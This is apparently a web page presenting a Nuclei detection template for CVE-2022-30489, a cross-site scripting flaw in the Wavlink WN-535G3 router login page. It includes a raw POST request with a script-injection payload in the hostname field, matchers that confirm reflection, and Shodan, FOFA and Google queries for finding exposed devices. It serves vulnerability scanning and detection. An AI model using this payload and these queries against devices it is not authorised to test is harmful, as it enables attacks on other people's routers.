Wavlink WN-535G3 - Cross-Site Scripting

ID: CVE-2022-30489

Severity: medium

Author: For3stCo1d

Tags: cve,cve2022,xss,wavlink,router,iot

Description

Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.

YAML Source

id: CVE-2022-30489

info:
  name: Wavlink WN-535G3 - Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/badboycxcc/XSS-CVE-2022-30489
    - https://github.com/badboycxcc/XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
    - https://github.com/trhacknon/Pocingit
    - https://github.com/trhacknon/XSS-CVE-2022-30489
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30489
    cwe-id: CWE-79
    epss-score: 0.00102
    epss-percentile: 0.41641
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,xss,wavlink,router,iot

http:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain);</script>'
          - 'parent.location.replace("http://")'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203f429737571cfb274f022eea3456acc93aef94e8c02afe26e18456529f4a7e63022100cf832af80a60bd1f9ce9b9894f0d2e056cecb5d03a592996a2ae163bdf7b1515:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-30489.yaml"

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